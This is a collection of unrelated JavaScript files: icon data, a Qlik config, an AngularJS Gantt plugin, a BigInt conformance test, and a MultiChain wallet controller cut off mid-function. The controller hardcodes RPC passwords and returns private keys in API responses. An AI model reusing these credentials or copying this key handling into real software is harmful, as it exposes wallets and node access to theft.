text
stringlengths 2
1.05M
|
|---|
module.exports = { prefix: 'fab', iconName: 'lastfm-square', icon: [448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"] };
|
var path = require('path');
var certPath = '../sessionapp/certs';
var config = {
certPath: certPath,
/**
* NodeJS Server config
*/
port: 3000, // Web GUI port
useHTTPS: true, // Use HTTP or HTTPs Server
hostfile: 'C:/ProgramData/Qlik/Sense/Host.cfg',
certificates: {
client: path.resolve(certPath, 'client.pem'),
server: path.resolve(certPath, 'server.pem'),
root: path.resolve(certPath, 'root.pem'),
client_key: path.resolve(certPath, 'client_key.pem'),
server_key: path.resolve(certPath, 'server_key.pem')
},
/**
* Sense Server config
*/
senseHost: 'ukwin-aor-w10',
prefix: 'ondemand',
isSecure: true,
cookieName: 'X-Qlik-Session-OnDemand', // Cookie name assigned for virtual proxy
//Template and data
template: '7aa116b6-3923-4c42-9fa2-1be6f298e711', // Default template GUID
loadScriptFile: 'loadscript-airbnb.txt',
urlFiles: function( userId ) {
return `https://dl.dropboxusercontent.com/u/11081420/sessionappsdata/AirBnB/AirbnbWebTraffic-${userId}.csv`
},
};
module.exports = config;
|
import { request } from '@/utils/request.js'
/**
* 任务列表 API JS
*/
export default {
/**
* 获取任务列表分页列表
* @returns
*/
getList (params = {}) {
return request({
url: 'task/mission/index',
method: 'get',
params
})
},
/**
* 获取任务列表选择树 (树表才生效)
* @returns
*/
tree () {
return request({
url: 'task/mission/tree',
method: 'get'
})
},
/**
* 从回收站获取任务列表数据列表
* @returns
*/
getRecycleList (params = {}) {
return request({
url: 'task/mission/recycle',
method: 'get',
params
})
},
/**
* 添加任务列表
* @returns
*/
save (params = {}) {
return request({
url: 'task/mission/save',
method: 'post',
data: params
})
},
/**
* 读取任务列表
* @returns
*/
read (params = {}) {
return request({
url: 'task/mission/read',
method: 'post',
data: params
})
},
/**
* 将任务列表移到回收站
* @returns
*/
deletes (ids) {
return request({
url: 'task/mission/delete/' + ids,
method: 'delete'
})
},
/**
* 恢复任务列表数据
* @returns
*/
recoverys (ids) {
return request({
url: 'task/mission/recovery/' + ids,
method: 'put'
})
},
/**
* 真实删除任务列表
* @returns
*/
realDeletes (ids) {
return request({
url: 'task/mission/realDelete/' + ids,
method: 'delete'
})
},
/**
* 更新任务列表数据
* @returns
*/
update (id, params = {}) {
return request({
url: 'task/mission/update/' + id,
method: 'put',
data: params
})
}
}
|
// Copyright (C) 2017 Josh Wolfe. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
description: left-shift operator ToNumeric with BigInt operands
esid: sec-left-shift-operator-runtime-semantics-evaluation
features: [BigInt, Symbol.toPrimitive, computed-property-names]
---*/
assert.sameValue(Object(2n) << 1n, 4n, "ToPrimitive: unbox object with internal slot");
assert.sameValue(1n << Object(2n), 4n, "ToPrimitive: unbox object with internal slot");
assert.sameValue(({
[Symbol.toPrimitive]: function() {
return 2n;
}
}) << 1n, 4n, "ToPrimitive: @@toPrimitive");
assert.sameValue(1n << {
[Symbol.toPrimitive]: function() {
return 2n;
}
}, 4n, "ToPrimitive: @@toPrimitive");
assert.sameValue(({
valueOf: function() {
return 2n;
}
}) << 1n, 4n, "ToPrimitive: valueOf");
assert.sameValue(1n << {
valueOf: function() {
return 2n;
}
}, 4n, "ToPrimitive: valueOf");
assert.sameValue(({
toString: function() {
return 2n;
}
}) << 1n, 4n, "ToPrimitive: toString");
assert.sameValue(1n << {
toString: function() {
return 2n;
}
}, 4n, "ToPrimitive: toString");
|
/*
Project: angular-gantt v1.2.6 - Gantt chart component for AngularJS
Authors: Marco Schweighauser, Rémi Alvergnat
License: MIT
Homepage: http://www.angular-gantt.com
Github: https://github.com/angular-gantt/angular-gantt.git
*/
(function(){
'use strict';
angular.module('gantt.tree', ['gantt', 'gantt.tree.templates', 'ui.tree']).directive('ganttTree', ['ganttUtils', '$compile', '$document', function(utils, $compile, $document) {
// Provides the row sort functionality to any Gantt row
// Uses the sortableState to share the current row
return {
restrict: 'E',
require: '^gantt',
scope: {
enabled: '=?',
header: '=?',
content: '=?',
headerContent: '=?',
keepAncestorOnFilterRow: '=?'
},
link: function(scope, element, attrs, ganttCtrl) {
var api = ganttCtrl.gantt.api;
// Load options from global options attribute.
if (scope.options && typeof(scope.options.sortable) === 'object') {
for (var option in scope.options.sortable) {
scope[option] = scope.options[option];
}
}
if (scope.enabled === undefined) {
scope.enabled = true;
}
if (scope.header === undefined) {
scope.header = 'Name';
}
if (scope.headerContent === undefined) {
scope.headerContent = '{{getHeader()}}';
}
if (scope.keepAncestorOnFilterRow === undefined) {
scope.keepAncestorOnFilterRow = false;
}
api.directives.on.new(scope, function(directiveName, sideContentScope, sideContentElement) {
if (directiveName === 'ganttSideContent') {
var labelsScope = sideContentScope.$new();
labelsScope.pluginScope = scope;
var ifElement = $document[0].createElement('div');
angular.element(ifElement).attr('data-ng-if', 'pluginScope.enabled');
angular.element(ifElement).addClass('side-element');
var labelsElement = $document[0].createElement('gantt-side-content-tree');
angular.element(ifElement).append(labelsElement);
sideContentElement.append($compile(ifElement)(labelsScope));
}
});
}
};
}]);
}());
(function(){
'use strict';
angular.module('gantt.tree').directive('ganttRowTreeLabel', ['GanttDirectiveBuilder', function(Builder) {
var builder = new Builder('ganttRowTreeLabel');
builder.restrict = 'A';
builder.templateUrl = undefined;
return builder.build();
}]);
}());
(function(){
'use strict';
angular.module('gantt.tree').directive('ganttSideContentTree', ['GanttDirectiveBuilder', function(Builder) {
var builder = new Builder('ganttSideContentTree', 'plugins/tree/sideContentTree.tmpl.html');
return builder.build();
}]);
}());
(function(){
'use strict';
angular.module('gantt.tree').controller('GanttTreeController', ['$scope', '$filter', 'GanttHierarchy', function($scope, $filter, Hierarchy) {
$scope.rootRows = [];
$scope.getHeader = function() {
return $scope.pluginScope.header;
};
var hierarchy = new Hierarchy();
$scope.pluginScope.$watchGroup(['keepAncestorOnFilterRow', 'enabled'], function(value) {
var keepAncestor = value[0] && value[1];
if (keepAncestor) {
var filterImpl = function(sortedRows, filterRow, filterRowComparator) {
hierarchy.refresh(sortedRows);
var leaves = [];
angular.forEach(sortedRows, function(row) {
var children = hierarchy.children(row);
if (!children || children.length === 0) {
leaves.push(row);
}
});
var filteredLeaves = $filter('filter')(leaves, filterRow, filterRowComparator);
var filterRowKeepAncestor = function(row) {
if (filteredLeaves.indexOf(row) > -1) {
return true;
}
var descendants = hierarchy.descendants(row);
for (var i=0; i < descendants.length; i++) {
if (filteredLeaves.indexOf(descendants[i]) > -1) {
return true;
}
}
return false;
};
return $filter('filter')(sortedRows, filterRowKeepAncestor, filterRowComparator);
};
$scope.gantt.rowsManager.setFilterImpl(filterImpl);
} else {
$scope.gantt.rowsManager.setFilterImpl(false);
}
});
var isVisible = function(row) {
var parentRow = $scope.parent(row);
while (parentRow !== undefined) {
if (parentRow !== undefined && parentRow._collapsed) {
return false;
}
parentRow = $scope.parent(parentRow);
}
return true;
};
var filterRowsFunction = function(rows) {
return rows.filter(function(row) {
return isVisible(row);
});
};
var sortRowsFunction = function(rows) {
var sortedRows = [];
var rootRows = [];
var hasParent = false;
angular.forEach(rows, function(row) {
var rowParent = $scope.parent(row);
if (rowParent === undefined) {
rootRows.push(row);
} else {
hasParent = true;
}
});
var handleChildren = function(row) {
sortedRows.push(row);
var children = $scope.children(row);
if (children !== undefined && children.length > 0) {
var sortedChildren = children.sort(function(a, b) {
return rows.indexOf(a) - rows.indexOf(b);
});
angular.forEach(sortedChildren, function(child) {
handleChildren(child);
});
}
};
angular.forEach(rootRows, function(row) {
handleChildren(row);
});
return sortedRows;
};
$scope.gantt.api.rows.addRowSorter(sortRowsFunction);
$scope.gantt.api.rows.addRowFilter(filterRowsFunction);
$scope.$on('$destroy', function() {
$scope.gantt.api.rows.removeRowSorter(sortRowsFunction);
$scope.gantt.api.rows.removeRowFilter(filterRowsFunction);
});
var refresh = function() {
$scope.rootRows = hierarchy.refresh($scope.gantt.rowsManager.filteredRows);
if ($scope.gantt.rowsManager.filteredRows.length > 0) {
$scope.gantt.api.rows.sort();
$scope.gantt.api.rows.refresh();
}
};
var isRowCollapsed = function(rowId) {
var row;
if (typeof rowId === 'string') {
row = $scope.gantt.rowsManager.rowsMap[rowId];
} else {
row = rowId;
}
if (row === undefined) {
return undefined;
}
if (row._collapsed === undefined) {
return false;
}
return row._collapsed;
};
var expandRow = function(rowId) {
var row;
if (typeof rowId === 'string') {
row = $scope.gantt.rowsManager.rowsMap[rowId];
} else {
row = rowId;
}
if (row === undefined) {
return;
}
var rowScope = $scope.nodeScopes[row.model.id];
if (rowScope.collapsed) {
rowScope.toggle();
}
};
var collapseRow = function(rowId) {
var row;
if (typeof rowId === 'string') {
row = $scope.gantt.rowsManager.rowsMap[rowId];
} else {
row = rowId;
}
if (row === undefined) {
return;
}
var rowScope = $scope.nodeScopes[row.model.id];
if (!rowScope.collapsed) {
rowScope.toggle();
}
};
var getHierarchy = function() {
return hierarchy;
};
$scope.getHeaderContent = function() {
return $scope.pluginScope.headerContent;
};
$scope.gantt.api.registerMethod('tree', 'refresh', refresh, this);
$scope.gantt.api.registerMethod('tree', 'isCollapsed', isRowCollapsed, this);
$scope.gantt.api.registerMethod('tree', 'expand', expandRow, this);
$scope.gantt.api.registerMethod('tree', 'collapse', collapseRow, this);
$scope.gantt.api.registerEvent('tree', 'collapsed');
$scope.gantt.api.registerMethod('tree', 'getHierarchy', getHierarchy, this);
$scope.$watchCollection('gantt.rowsManager.filteredRows', function() {
refresh();
});
$scope.children = function(row) {
if (row === undefined) {
return $scope.rootRows;
}
return hierarchy.children(row);
};
$scope.parent = function(row) {
return hierarchy.parent(row);
};
$scope.nodeScopes = {};
}]).controller('GanttUiTreeController', ['$scope', function($scope) {
var collapseAll = function() {
$scope.collapseAll();
};
var expandAll = function() {
$scope.expandAll();
};
$scope.gantt.api.registerMethod('tree', 'collapseAll', collapseAll, $scope);
$scope.gantt.api.registerMethod('tree', 'expandAll', expandAll, $scope);
}]).controller('GanttTreeNodeController', ['$scope', function($scope) {
$scope.$parent.nodeScopes[$scope.row.model.id] = $scope;
$scope.$on('$destroy', function() {
delete $scope.$parent.nodeScopes[$scope.row.model.id];
});
$scope.$watch('children(row)', function(newValue) {
if (newValue) {
// Children rows may have been filtered out
// So we need to filter the raw hierarchy before displaying children in tree.
var visibleRows = $scope.row.rowsManager.filteredRows;
var filteredChildrenRows = [];
for (var i=0; i < newValue.length; i++) {
var childRow = newValue[i];
if (visibleRows.indexOf(childRow) > -1) {
filteredChildrenRows.push(childRow);
}
}
$scope.$parent.childrenRows = filteredChildrenRows;
} else {
$scope.$parent.childrenRows = newValue;
}
});
$scope.isCollapseDisabled = function(){
return !$scope.$parent.childrenRows || $scope.$parent.childrenRows.length === 0;
};
$scope.getValue = function() {
return $scope.row.model.name;
};
$scope.getRowContent = function() {
if ($scope.row.model.content !== undefined) {
return $scope.row.model.content;
}
if ($scope.pluginScope.content !== undefined) {
return $scope.pluginScope.content;
}
var content = $scope.row.rowsManager.gantt.options.value('rowContent');
if (content === undefined) {
content = '{{row.model.name}}';
}
return content;
};
$scope.$watch('collapsed', function(newValue) {
if ($scope.$modelValue._collapsed !== newValue) {
var oldValue = $scope.$modelValue._collapsed;
$scope.$modelValue._collapsed = newValue; // $modelValue contains the Row object
if (oldValue !== undefined && newValue !== oldValue) {
$scope.gantt.api.tree.raise.collapsed($scope, $scope.$modelValue, newValue);
$scope.gantt.api.rows.refresh();
}
}
});
}]);
}());
(function(){
'use strict';
angular.module('gantt.tree').directive('ganttTreeBody', ['GanttDirectiveBuilder', 'ganttLayout', function(Builder, layout) {
var builder = new Builder('ganttTreeBody', 'plugins/tree/treeBody.tmpl.html');
builder.controller = function($scope) {
var hScrollBarHeight = layout.getScrollBarHeight();
$scope.getLabelsCss = function() {
var css = {};
if ($scope.maxHeight) {
var bodyScrollBarHeight = $scope.gantt.scroll.isHScrollbarVisible() ? hScrollBarHeight : 0;
css['max-height'] = $scope.maxHeight - bodyScrollBarHeight - $scope.gantt.header.getHeight() + 'px';
}
return css;
};
};
return builder.build();
}]);
}());
(function(){
'use strict';
angular.module('gantt.tree').directive('ganttTreeHeader', ['GanttDirectiveBuilder', function(Builder) {
var builder = new Builder('ganttTreeHeader', 'plugins/tree/treeHeader.tmpl.html');
return builder.build();
}]);
}());
angular.module('gantt.tree.templates', []).run(['$templateCache', function($templateCache) {
$templateCache.put('plugins/tree/sideContentTree.tmpl.html',
'<div class="gantt-side-content-tree" ng-controller="GanttTreeController">\n' +
' <gantt-tree-header>\n' +
' </gantt-tree-header>\n' +
' <gantt-tree-body>\n' +
' </gantt-tree-body>\n' +
'</div>\n' +
'');
$templateCache.put('plugins/tree/treeBody.tmpl.html',
'<div class="gantt-tree-body" ng-style="getLabelsCss()">\n' +
' <div gantt-vertical-scroll-receiver>\n' +
' <div class="gantt-row-label-background">\n' +
' <div class="gantt-row-label gantt-row-height"\n' +
' ng-class="row.model.classes"\n' +
' ng-style="{\'height\': row.model.height}"\n' +
' ng-repeat="row in gantt.rowsManager.visibleRows track by row.model.id">\n' +
' \n' +
' </div>\n' +
' </div>\n' +
' <div ui-tree ng-controller="GanttUiTreeController" data-drag-enabled="false" data-empty-place-holder-enabled="false">\n' +
' <ol class="gantt-tree-root" ui-tree-nodes ng-model="rootRows">\n' +
' <li ng-repeat="row in rootRows" ui-tree-node\n' +
' ng-include="\'plugins/tree/treeBodyChildren.tmpl.html\'">\n' +
' </li>\n' +
' </ol>\n' +
' </div>\n' +
' </div>\n' +
'</div>\n' +
'');
$templateCache.put('plugins/tree/treeBodyChildren.tmpl.html',
'<div ng-controller="GanttTreeNodeController"\n' +
' class="gantt-row-label gantt-row-height"\n' +
' ng-class="row.model.classes"\n' +
' ng-style="{\'height\': row.model.height}">\n' +
' <div class="gantt-valign-container">\n' +
' <div class="gantt-valign-content">\n' +
' <a ng-disabled="isCollapseDisabled()" data-nodrag\n' +
' class="gantt-tree-handle-button btn btn-xs"\n' +
' ng-class="{\'gantt-tree-collapsed\': collapsed, \'gantt-tree-expanded\': !collapsed}"\n' +
' ng-click="!isCollapseDisabled() && toggle()"><span\n' +
' class="gantt-tree-handle glyphicon glyphicon-chevron-down"\n' +
' ng-class="{\n' +
' \'glyphicon-chevron-right\': collapsed, \'glyphicon-chevron-down\': !collapsed,\n' +
' \'gantt-tree-collapsed\': collapsed, \'gantt-tree-expanded\': !collapsed}"></span>\n' +
' </a>\n' +
' <span gantt-row-label class="gantt-label-text" gantt-bind-compile-html="getRowContent()"/>\n' +
' </div>\n' +
' </div>\n' +
'</div>\n' +
'<ol ui-tree-nodes ng-class="{hidden: collapsed}" ng-model="childrenRows">\n' +
' <li ng-repeat="row in childrenRows" ui-tree-node>\n' +
' <div ng-include="\'plugins/tree/treeBodyChildren.tmpl.html\'"></div>\n' +
' </li>\n' +
'</ol>\n' +
'');
$templateCache.put('plugins/tree/treeHeader.tmpl.html',
'<div class="gantt-tree-header" ng-style="{height: $parent.ganttHeaderHeight + \'px\'}">\n' +
' <div ng-if="$parent.ganttHeaderHeight" class="gantt-row-label gantt-row-label-header gantt-tree-row gantt-tree-header-row"><span class="gantt-label-text" gantt-bind-compile-html="getHeaderContent()"/></div>\n' +
'</div>\n' +
'');
}]);
//# sourceMappingURL=angular-gantt-tree-plugin.js.map
|
//Loaded from main.js
//Support for Standard Web Components
var TW = { //class:
_loadedComp : {'exComp': true} // don't load 2x
, loadComp : function(url, $here){
return new Promise(function (resolve, reject){
if (url in TW._loadedComp) {//guard: we loaded it before, thank you very much
console.log('already loaded')
resolve("OK2")
} else {
fetch(url, {
method: 'get'
}).then(function(response) {
if (!response.ok) {
console.log('not ok')
console.log(response)
reject(response.statusText)
}
return response.text()
}).then(function(txt) {
registerComp = function(){} //null function
TW._loadedComp[url] = true
console.log('loading (again?)1, if error in IE, then not es5:', url)
$here.append(txt)
//generic register, standard component must implement
registerComp()
console.log('loading (again?)2!')
resolve("OK")
})
}
})
}
, _isCReg: function(name) {
return (window.creg && window.creg.hasOwnProperty(name))
// return window.creg[name]
//return false
}
, _cReg: function(name, comp) { // register a component
if (!window.creg)
window.creg = {}
window.creg[name] = comp
}
, registerComp: function(tag, KlassEl) {//register class
var xx
if(!TW._isCReg(tag)) {
if (tag.indexOf('-')==-1)
throw 'Custom element name must contain a - (dash)!'
xx = document.registerElement(tag, {prototype: KlassEl})
TW._cReg(tag, xx)
}
xx = TW._isCReg(tag)
return xx
}
, regC: function(tag, KlassEl) {
return TW.registerComp(tag, KlassEl)
}
, attachShadow: function(thiz, templ) {
var templateElement = document.querySelector(templ)
var clone = document.importNode(templateElement.content, true);
//var shadow = this.createShadowRoot() NOPE
var shadow = thiz.attachShadow({mode: 'open'})
shadow.appendChild(clone)
return shadow
}
, attS: function(thiz, templ){
return TW.attachShadow(thiz, templ)
}
, bind: function (tpl, data) { // take tmpl and bind w/ data
var tpl1Foo = doT.template(tpl)
return tpl1Foo(data)
}
, loadIE: function() {
if (bowser.msie || bowser.a)
{
return Promise.all([
TS.load('https://cdn.rawgit.com/topseed/topseed-turbo/master/vendor/template.js')
])
}
}
, loadNotChrome: function() {
if (!bowser.blink)
{
return Promise.all([
TS.load('https://cdn.rawgit.com/topseed/topseed-turbo/master/vendor/bower_components/webcomponentsjs/CustomElements.min.js')
, TS.load('https://cdn.rawgit.com/topseed/topseed-turbo/master/vendor/shadydom.min.js')
])
}
}
, init: function(){
return Promise.all([
TW.loadIE(), TW.loadNotChrome()
])
}
}
|
/*
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for
* license information.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
* Changes may cause incorrect behavior and will be lost if the code is
* regenerated.
*/
'use strict';
const models = require('./index');
/**
* CDN REST API operation
*
*/
class Operation {
/**
* Create a Operation.
* @member {string} [name] Operation name: {provider}/{resource}/{operation}
* @member {object} [display] The object that represents the operation.
* @member {string} [display.provider] Service provider: Microsoft.Cdn
* @member {string} [display.resource] Resource on which the operation is
* performed: Profile, endpoint, etc.
* @member {string} [display.operation] Operation type: Read, write, delete,
* etc.
*/
constructor() {
}
/**
* Defines the metadata of Operation
*
* @returns {object} metadata of Operation
*
*/
mapper() {
return {
required: false,
serializedName: 'Operation',
type: {
name: 'Composite',
className: 'Operation',
modelProperties: {
name: {
required: false,
readOnly: true,
serializedName: 'name',
type: {
name: 'String'
}
},
display: {
required: false,
serializedName: 'display',
type: {
name: 'Composite',
className: 'OperationDisplay'
}
}
}
}
};
}
}
module.exports = Operation;
|
module.exports = function warmup(temperature) {
if (temperature === -20) return -4;
if (temperature === 0) return 32;
if (temperature === 15) return 59;
if (temperature === 40) return 104;
};
|
let multichain1 = require("multichain-node")({
port: 2772,
host: '127.0.0.1',
user: "multichainrpc",
pass: "8H3zaHCrRjkXHdc4k4dNfJiMAKsrA5XmBox4PyRejpn6"
});
let multichain2 = require("multichain-node")({
port: 2772,
host: "192.168.1.68",
user: "multichainrpc",
pass: "8WQqduMmGYiAPybx5Dqes97d7bsV5CRK3kgTpoEiDmXa"
})
let waterfall = require('async-waterfall');
var authDbo = require('../dbo/auth.dbo')
exports.createAccount = function(req,res) {
multichain1.createKeyPairs((err,pairs)=>{
multichain1.importPrivKey({privkey:pairs[0].privkey,rescan:false},(err,add)=>{
console.log(add)
})
multichain1.grant({addresses:pairs[0].address,permissions:'receive,send'},(err,grant)=>{
console.log(grant)
})
res.status(200).json({
status:"OK",
message:'Successfully created wallet',
walletData:pairs[0]
})
})
}
exports.createMultiSigAccount = function(req,res) {
var firstwallet
var secondwallet
var multiaccount
waterfall([
function(callback) {
multichain1.createKeyPairs((err,pairs)=>{
console.log('created key pair')
multichain1.importPrivKey({privkey:pairs[0].privkey,rescan:false},(err,add)=>{
console.log('multichain1 imported priv key',err)
})
multichain1.grant({addresses:pairs[0].address,permissions:'receive,send'},(err,grant)=>{
console.log('multichain1 granted permission ',err)
})
firstwallet = pairs[0]
console.log('first wallet',firstwallet)
callback()
})
},
function(callback) {
multichain2.createKeyPairs((err,pairs)=>{
multichain2.importPrivKey({privkey:pairs[0].privkey,rescan:false},(err,add)=>{
console.log('multichain1 imported priv key',err)
})
multichain1.grant({addresses:pairs[0].address,permissions:'receive,send'},(err,grant)=>{
console.log('multichain1 granted permission ',err)
})
secondwallet = pairs[0]
console.log('second wallet',secondwallet)
callback()
})
},
function(callback) {
multichain1.addMultiSigAddress({nrequired:2,keys:[firstwallet.pubkey,secondwallet.pubkey]},(err,multiresp)=>{
multiaccount = multiresp
console.log('multichain1 added multisig wallet ',multiresp)
multichain2.addMultiSigAddress({nrequired:2,keys:[firstwallet.pubkey,secondwallet.pubkey]},(err,multiresp)=>{
console.log('multichain2 added multisig wallet ',multiresp)
callback()
});
})
},
function(callback) {
multichain1.grant({addresses:multiaccount,permissions:'receive,send'},(err,grant)=>{
console.log('multichain1 granted permission ',multiaccount)
callback()
})
}
],function(err,result){
res.status(200).json({
status:'Ok',
firstwallet:firstwallet,
secondwallet:secondwallet,
multiaccount:multiaccount
})
})
}
exports.sendAsset = function(req,res) {
var params = req.body
var toAddress = req.body.toAddress
var chain = req.body.chain
if(chain == 'multichain1') {
multichain1.createRawSendFrom({from:String(params.fromAddess),amounts:{[toAddress]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
console.log(err)
res.status(200).json({
success:false,
status:"OK",
message:'In efficient Funds in your wallet',
err:err
})
}
else {
multichain1.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
success:false,
status:"OK",
message:'Entered wrong private key',
err:err
})
}
else {
console.log(signresp)
multichain1.sendRawTransaction({hexstring:signresp.hex},(err,sendresp)=>{
res.status(200).json({
success:true,
status:"OK",
message:'Successfully sent asset',
transactionid:sendresp
})
})
}
})
}
})
}
else {
multichain2.createRawSendFrom({from:String(params.fromAddess),amounts:{[toAddress]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
console.log(err)
res.status(200).json({
success:false,
status:"OK",
message:'In efficient Funds in your wallet',
err:err
})
}
else {
multichain2.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
success:false,
status:"OK",
message:'Entered wrong private key',
err:err
})
}
else {
console.log(signresp)
multichain2.sendRawTransaction({hexstring:signresp.hex},(err,sendresp)=>{
res.status(200).json({
success:true,
status:"OK",
message:'Successfully sent asset',
transactionid:sendresp
})
})
}
})
}
})
}
}
exports.signIn = function(req,res) {
var address1 = req.body.address;
var arr = [];
var hasMulti = false;
var isValid =false;
var belongsTo ;
console.log(req.body)
waterfall([
function(callback) {
multichain1.validateAddress({address:address1},(req,res)=>{
if(res.isvalid&&res.ismine) {
belongsTo = 'multichain1';
isValid = true
callback(null,'multichain1',true);
}
else {
multichain2.validateAddress({address:address1},(req,res)=>{
if(res.isvalid ) {
belongsTo = 'multichain2';
isValid = true
callback(null,'multichain2',true);
}
else {
isValid = false
callback(null,null,false);
}
})
}
})
},
function(belongs,isValid,callback) {
console.log('came',belongs,isValid)
if(isValid) {
if(belongs == 'multichain1') {
multichain1.getAddresses({verbose:true},(req,res)=> {
res.map((eachaddress)=>{
if(eachaddress.addresses) {
console.log('addressses',eachaddress.addresses)
eachaddress.addresses.map((addr)=>{
console.log('lag',addr)
if(addr == address1) {
hasMulti = true
console.log('pushing',eachaddress.address)
arr.push(eachaddress.address)
}
})
}
})
callback()
})
}
else {
multichain2.getAddresses({verbose:true},(req,res)=> {
// console.log('resq',res)
res.map((eachaddress)=>{
if(eachaddress.addresses) {
console.log('addressses',eachaddress.addresses)
eachaddress.addresses.map((addr)=>{
console.log('lag',addr)
if(addr == address1) {
// console.log('came',eachaddress.address)
// arr.push(1)
// console.log(arr)
hasMulti = true
console.log('pushing',eachaddress.address)
arr.push(eachaddress.address)
}
})
}
})
callback()
})
}
}
else {
callback()
}
},
function(callback) {
console.log('arr',arr)
callback(null,arr)
},
],function(err,result) {
res.status(200).json({
status:'Ok',
isvalid: isValid,
hasMulti: hasMulti,
belongsTo:belongsTo,
multiAddresses : arr
})
})
}
exports.sendMultiSigAsset = function(req,res) {
var params = req.body
console.log(params)
var toAddress = params.toAddress
var fromAddress = params.fromAddress
if(req.body.node == 'multichain1') {
multichain1.createRawSendFrom({from:String(params.refferAddress),amounts:{[toAddress]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
res.status(200).json({
status:"OK",
success:false,
message:'In efficient Funds in your wallet',
err:err
})
}
else {
multichain1.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
status:"OK",
success:false,
message:'Entered wrong private key',
err:err
})
}
else {
multichain1.createRawSendFrom({from:fromAddress,action:"sign",amounts:{[toAddress]:{Rupee:params.amount}}},(err,mulsendresp)=>{
if(mulsendresp == undefined) {
res.status(200).json({
status:"OK",
message:'In efficient Funds in your wallet',
success:false,
err:err
})
}
else {
multichain1.validateAddress({address:params.fromAddress},(req,res) => {
if(res.isvalid ) {
var pendingAddress
res.addresses.map((addr)=>{
if(addr != params.refferAddress) {
pendingAddress = addr
}
})
params = {
"address":pendingAddress,
"data":mulsendresp
}
authDbo.savePendingTx(params)
}
})
res.status(200).json({
success:true,
status:"Ok",
message:"waiting other address to approve",
data:mulsendresp
})
}
})
}
})
}
})
}
else {
multichain2.createRawSendFrom({from:String(params.refferAddress),amounts:{[toAddress]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
res.status(200).json({
status:"OK",
message:'In efficient Funds in your wallet',
success:false,
err:err
})
}
else {
multichain2.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
status:"OK",
message:'Entered wrong private key',
success:false,
err:err
})
}
else {
multichain2.createRawSendFrom({from:fromAddress,action:"sign",amounts:{[toAddress]:{Rupee:params.amount}}},(err,mulsendresp)=>{
if(mulsendresp == undefined) {
res.status(200).json({
status:"OK",
message:'In efficient Funds in your wallet',
success:false,
err:err
})
}
else {
res.status(200).json({
status:"Ok",
message:"waiting other address to approve",
success:true,
data:mulsendresp
})
}
})
}
})
}
})
}
}
exports.signTransaction = function(req,res) {
var params = req.body
if(params.node == 'multichain1') {
multichain1.createRawSendFrom({from:params.address,amounts:{[params.address]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
res.status(200).json({
status:"OK",
message:'In efficient Funds in your wallet',
success:false,
err:err
})
}
else {
multichain1.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
status:"OK",
message:'Entered wrong private key',
err:err
})
}
else {
multichain1.signRawTransaction({hexstring:params.hex},(err,signresp)=>{
console.log(signresp)
if(signresp == undefined) {
console.log(err)
res.status(200).json({
status:"OK",
message:'Entered wrong private key',
success:false,
})
}
else {
multichain1.sendRawTransaction({hexstring:signresp.hex},(err,sendrep)=>{
console.log('this is',err,sendrep)
res.status(200).json({
status:"Ok",
message:"Sent",
success:true,
data:sendrep
})
})
}
})
}
})
}
})
}
else {
multichain2.createRawSendFrom({from:params.address,amounts:{[params.address]:{Rupee:params.amount}}},(err,createresp)=>{
if(createresp == undefined) {
res.status(200).json({
status:"OK",
success:false,
message:'In efficient Funds in your wallet',
err:err
})
}
else {
multichain2.signRawTransaction({hexstring:createresp,parents:[],privatekeys:[params.privKey]},(err,signresp)=>{
if(signresp == undefined) {
res.status(200).json({
status:"OK",
success:false,
message:'Entered wrong private key',
err:err
})
}
else {
multichain2.signRawTransaction({hexstring:params.hex},(err,signresp)=>{
console.log(signresp)
if(signresp == undefined) {
console.log(err)
res.status(200).json({
status:"OK",
success:false,
message:'Entered wrong private key',
})
}
else {
multichain2.sendRawTransaction({hexstring:signresp.hex},(err,sendrep)=>{
console.log('this is',err,sendrep)
res.status(200).json({
status:"Ok",
message:"Sent",
success:true,
err:err,
data:sendrep
})
})
}
})
}
})
}
})
}
}
exports.getPendingTx = function(req,res) {
var query = {
"address":req.body.address
}
authDbo.findPendingTx(query,function(err,result) {
console.log(result,err)
})
}
exports.profile = function(req,res) {
var address = req.body.address
var chain = req.body.chain
if(chain == 'multichain1') {
multichain1.getAddressBalances({address:address},(err,resp)=>{
console.log(resp)
res.status(200).json({
status:"Ok",
data:resp
})
})
}
else {
multichain2.getAddressBalances({address:address},(err,resp)=>{
console.log(resp)
res.status(200).json({
status:"Ok",
data:resp
})
})
}
}
exports.faucet = function(req,res) {
var toAddress = req.body.toAddress
